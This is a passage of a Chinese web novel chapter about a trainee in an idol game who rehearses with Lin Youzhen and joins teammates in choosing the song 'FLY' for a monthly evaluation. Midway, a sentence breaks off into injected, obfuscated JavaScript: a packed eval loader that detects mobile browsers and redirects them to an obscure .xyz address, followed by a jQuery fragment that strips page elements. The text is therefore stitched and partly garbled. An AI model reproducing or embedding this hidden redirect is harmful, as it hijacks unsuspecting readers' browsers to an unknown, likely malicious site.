我真切地意识到那个人或许是真的这么想的，扇自己巴掌的痛苦比起作为练习生训练蹉跎多年还不能出道的痛苦对他来说算不上什么。 起码扇在脸上是真真切切的痛苦，但是作为练习生时流逝的时间就像是钝刀子磨肉一样，在发现自己没法出道的那一刻才算是前功尽弃。 出于某种直觉，我竟然参悟了对方心中的想法，并对此感到尤其的共情。 8. 第八章 简而言之，我再次重复说道。 “我遇见了很奇怪的人。” 抛开我那一大段无人知晓的内心活动而言，这一段话称得上是相当的无厘头。 但是林祐真对此接受良好，他平淡地“哦”了一声，面上没有任何变化，情绪平稳的超脱一般人。 看来也是经历过大风大浪的传奇练习生一般的人物了。 林祐真没有以着简短的字词就此闭口，而是接下话茬：“正常，公司里奇怪的人有很多。” 哇塞。我低头看着眼前的迷你型肌肉兔子男，只觉得自己还是见识太少了。 像是第一次才认识他一样。 不过仔细想想今天的确也只是我们认识的第一天而已，只不过浓缩了前七天的精华而成的高质量练习生的一天。 堪比前七天的练习量，认识的人堪比前七天认识的人加起来还要多的数量，堪比前七天总和下来的交流量和莫名其妙就起来的勾心斗角的心思。 真要深究起来的话，每一条都可以长篇大论的好好说道说道。 “是吗？” 但我没有心思和他再扯到公司里的奇怪人物，再这样说下去预计整个公司都没什么正常人在了。 倒不如仔细想想，作为玩家而在这里出现的我才是最奇怪的那个人吧。 敷衍地掠过了我自己提起的话题，下一秒我快速地收拾好心情，继续做着自己先前仍然在复习的那一支舞蹈。 我转向镜子，认真地比着老师在平板之中的视频，一遍一遍地修正着细节和动作。 容纳一二十人都不在话下的练习室里只有着两个人，再大的声响落在实处，也就成了汇入海水的雨点，舞蹈伴奏的调子也在不断重复的回声之中显得异常安静下来。 头顶上明亮的顶光被关了一半，只有着四边的灯光还在隐隐约约地照着，把镜子里我和林祐真的脸庞都衬得失真，成了马赛克式模模糊糊的两团，看不清真切的面容。 我沉浸在了这种几近与周身无人的沉浸感，低头又开始练习起来。 偶然一抬头，我发现林祐真站在原地，像是已经看了许久。 “在看什么？” 我伸手撩开眼前散落下来的碍事刘海，顺手用着一字夹重新别了上去。 我专注着捣鼓着自己的发型，一边还没忘记问着林祐真话。 林祐真离我不远，站在镜子前的一脚，眼睛黑黢黢地望着我。 他听见我的问题，有了点动作，摇头，向着我示意平板上的内容。 正巧我也累了，接着这个机会想想要休息一会，便走过去靠在了他的跟前，蹲下看着平板。 平板上是月度考核对于团体节目的要求，还有备选的歌曲。 大多都是同一公司的歌曲，少部分是当前耳熟能闻的大爆曲目，虽然不是本公司的，但是是属于大众名声很广的一类。 每一支舞蹈的编舞我都记得清楚，因此我只是看上那些选项一眼就条件反射地感觉两眼发黑。 我连忙找了水杯喝了两口压压惊，这才有心思继续和林祐真说话。 林祐真就这么捧着平板在原地坐着，看着我火急火燎地找水喝的动作，慢吞吞地眨眼：“赵修研，你也是个奇怪的人。” 他又提起了我们之前没说完的话。 我觉得这人真是没完没了，明明自己像是想要讨论月度考核的问题，又偏偏在要紧关头扯上别的东西。 但没时间多想了，谁让这个话由还是我提起的。 现在想想我真是自作孽不可活，现在还得在紧要关头找个话把林祐真哄过去。 “也？” 想了一大顿，我把水咽下去落在胃里，心情也恢复到了一种诡异的平静感。 “我本来就是。” 这没什么好否认的，当个奇怪的人也没什么不好。 哪怕是打自己巴掌也算是勉强靠边于让疼痛督促自己成长的方式。 我直接用这样的话终结了话题，无视了林祐真微微瞪大的眼睛，扯着他专注平板上的内容。 奇不奇怪全都靠边站，月度考核的事情才更重要。 林祐真在惊讶过后就快速地调整好了自己的状态，对着平板向我一一解释起每个节目的点，详细的程度堪比公司里老师一对一上舞蹈课的时候。 他本来就是一对一舞蹈课的常住居民，因此大概也是习惯了这样的做法，摆出了老师的模样，表现的非常之老练，给人带来一种安心的味道。 正巧我在舞蹈上面只算是十窍开了九窍，搭配上林祐真的介绍量只能说是非常相配，所以我听的很认真，一直没有出声，盯着屏幕搭配上他的讲解把每个可以表演的曲目都看了一遍。 我听的认真，林祐真把话讲着讲着却冷不丁地停了下来。 我和他是挨着肩膀靠在一起坐着合看平板的动作，因此他停下之后放下平板，又侧过头凑近仔细地打量起了我的脸色。 ......我的耐心也是有限度。 但是现在正在是关键时刻。 我再三说服着自己。 林祐真的动作莫名其妙，我硬着头皮回看：“继续说。” “嗯。” 林祐真轻轻应了一声，带着点口音的嗓音又响了起来，一切恢复了正常。 等到我们把所有的选择都看完，我对所有东西都大概有了个了解。 可问题是我们该选哪一个才更好？暂时拼凑起来的队伍之中，比起完美的表演，更重要的是相互妥协后的完成度。 我的意见并不重要，因为无论哪个节目我能做的都只有拼命不拖后腿这一件事。 下限取决于我，上限则和我无关。因此要表演什么节目还是要由着其他四个人决定。 我对此想的很清楚，林祐真也是。 由着我们无人组成的群聊早在不知不觉的时候就被拉好。林祐真就这么在群内发起了群投票，对应的是不同的歌曲名，每个人都有一次投票机会。 我因为先前听到的那一首《FLY》，没怎么犹豫就投出了自己的那一票。 群内很是安静，表面上是一片静悄悄，但群投票倒是完成的很快。 【宋时蕴】：1 宋时蕴倒是没选择做个沉默派，他甚至能在无人发言的五人小群里喜滋滋地发送出一个红衣白头猫。 见着冷清清的群内消息，他又再几秒后撤回表情包重新发送了一句看起来颇为勉强的应答。 随着宋时蕴一条信息出现后，结果也正式出现。 所有人都不约而同地选择了N.VISION的主打新歌《FLY》。 - 回去的当晚我便收拾好了心情，简单地和林祐真告别后就各自进了沉默的宿舍，换完衣服后磨蹭着洗漱完，躺上床再盖上软绵绵的被子，眼睛一闭，我就当看见的东西全部忘记。 那间昏暗的练习室，不知姓名的练习生，脸上的红印。 我恶狠狠地闭紧双眼，强压着记忆把他们都遗忘。 尊重，理解，紧接着就是忘记。 在「偶像」游戏中，除了我本人的路线，非重要NPC的剧情我无法插手和进入，否则会被判定为违规处理，限制我后续周目的游玩。 在这样的抉择中，我无法选择那面对我不利的选项。 这样算是冷血吗？我也不能分辨出这样做到底是好是坏，过去的一天发生太多事情，在缝隙中挤出来的片段时间让我无法思考。 况且凭借着林祐真的表情来看，对方在公司奇怪的人里或许还排不上名号。 简单地理清了思路，我就把这一切都选择性地抛在了脑后，紧接着在脑海里开始演练起《FLY》的动作。 疲惫和困意像是被风吹合的书页，我那点朦朦胧胧的意识在狭小的空隙种进入了休眠时间。 - 闭眼。 睁眼。 简单的几个轮回，又是一个星期的度过，仍然是被练习充斥的日子。 经过了那一波三折的一天，我大概是正式和林祐真成为朋友了，除了各人不同的课之外都待在一起，就好像我们之前的关系就这么好一样。 但实际上，截止到本周周日，我们满打满算也才认识不到一个星期而已。 期间也偶尔会和李叙白与裴宁碰面，大多都是两人向我先打招呼，我再回应。 说不上朋友，勉强算是点头之交的关系。 这两人每次看我的时候都是像微缩的锅盖头和泰迪一样，矮矮又小小，面上的笑容还算真诚。 而宋时蕴这家伙每次都像个长手长脚的瘦长幽灵飘来飘去，看见我就笑笑，然后就赶快逃走。 我感受到莫名被注视的目光百分之八十都来自于他，但当我真正回看过去的时候，他又别开了眼睛。 我也懒得和他因为这种事多说，所以百分之八十的时间我都无视了过去。 假如我们真的只是五个平平无奇且没有任何关系的奇怪练习生的话，保持这样的情况当然是没什么问题的。 关键是早在五个人组队参加了月度考核团体组的那一刻，一切简单的关系都变得不简单了起来。 我们不仅仅是同一个公司的练习生，而且还是一个team。 当然，我这样想着也并不代表我们真的要装作和和气气的一团相处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171548|180696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 只凭借着周一一顿饭的时间，李叙白和宋时蕴两个人从见面还打个招呼的阶段，变成了看彼此如空气一样的阶段。 虽然宋时蕴貌似从始至终都坚定地把李叙白看成了空气，变化的只有李叙白一个人的态度而已。 但我还是要强调team这个词，因为这意味着我们还是需要配合练习的。 是的，表演，月度考核，团体练习。 除了我和林祐真之外，同一组的另外三位每天看起来都是一副悠哉悠哉的模样，仿佛月度考核这件事情已经过去了。 由着林祐真和我发起的群聊从第一天建立后就再也没有人发言过。 零交流，零沟通，除了宋时蕴以着狗头作为头像发送的【1】。 我再一次打开群聊，发现只有我一个人像是一条无助的狗，旁观着组里三尊大佛不紧不慢地干着自己的事情。 虽然我也不是多着急就是了，但这样的场面总归是让我有点感到不安。 不是因为他们，而是因为自己。 月度考核中的团体节目在第一天就商量好了，每个人都至少有一段短暂的c位part，而属于我的那部分我还没有完全练习好。 刀群舞部分算是简单，但是需要花费大量时间配合练习，我只是能够艰难地和林祐真合练起来。 还是在对方迁就我的条件下。 勉强算是队友的轻松让我不可避免的感到有些焦虑。 “别着急。” 练习室的镜子前，林祐真站起来走去某处，从他随身的背包里拿出了纸巾，不再递给我，而是直接将我额头上的汗水擦去。 “……没有。” 我缓缓吐出一口气，扭过头否认，把视线转回我们两个人映在镜子上的身影。 林祐真也随着我的视线而挪动了目光，同样看向镜子。 两个人看起来是狼狈的，浑身还都是汗水。 我看着镜子里的自己倒是不由自主地发起了呆，目光飘飘忽忽地移动到了我们两个人的身上。 公司的练习室很宽敞，四周的镜子把所有人的表情都显的一览无余，时时刻刻都在顶头发挥余热的灯光更是刺目。 最近不知道为什么，我的个头窜的很快，因此已经比林祐真高了小半个头，且在他说话的时候可以把他的表情看的清清楚楚。 林祐真现在已经对我的脸产生了脱敏反应，连带着那些表现出来几近于腼腆和内敛的情绪都消失不见。 面对镜子时他表情平常，没对着我们俩的样子发表任何评论。 嗯，依旧平静，不以为然。 活脱脱像是修炼得道的修士，就是长得有点像是兔子化成的妖怪而已，少年老成，脱去有些青涩的外貌，真正显示出了那分成熟。 看着林祐真八风不动的表情我觉得没劲，正巧练习时间已经搞了一段落，我的水又喝完了，便想着出去再买一瓶。 “想喝什么？” 我拿起零钱，走出门前问他。 林祐真也没说要和我一起去买，坐在地上，只是又低头打开了平板，打开了《FLY》的舞蹈室，熟悉的音乐再次响起。 他听到我的声音，动作顿了顿，点下暂停键，望着镜子里的自己思索了一会。 林祐真说：“和你一样。” 没听到他再多说些什么，我便背过身直接坐着电梯下了楼，期间遇到看样子同样是来练习的宋时蕴。 宋时蕴一见到我就缩了起来，骨架本来就不大，缩起来也成了瘦条条一点。 整个人表现的就活像是耗子见了身上带着奶酪块的猫，一方面想避着走，一方面又想贴在一起。 见到我出电梯，他也一块跟着出了电梯门，一齐向着便利店的方向走去。 我兜里揣着手机，心里还在盘算着要买些什么喝，便没看着前面的路，闷头就走进了便利店。 宋时蕴也紧随其后，和我一起站在冷冻柜前挑着饮料。 我们站在便利店的角落，气氛是一片静悄悄。 我不动，宋时蕴也不动，只有远处是嘈杂的。 我犹豫了一下，挑了两瓶能量饮料，还是没忍住转头和呆立着的宋时蕴问：“你一直跟着我干什么？” 宋时蕴压根没听到我的话，早就先一步看到了李叙白，眼里放射出光芒，连忙拉着我以着刚好可以吃瓜的角度看向了某处。 我没想到一下看到了直线尽头的李叙白，他多加了打扮，身边站着的是一个陌生的人。 宋时蕴一脸神秘：“看！” 他就像发现关键证据的少年侦探，乐颠颠地把罪证放到我这个心盲眼花的被害者眼前。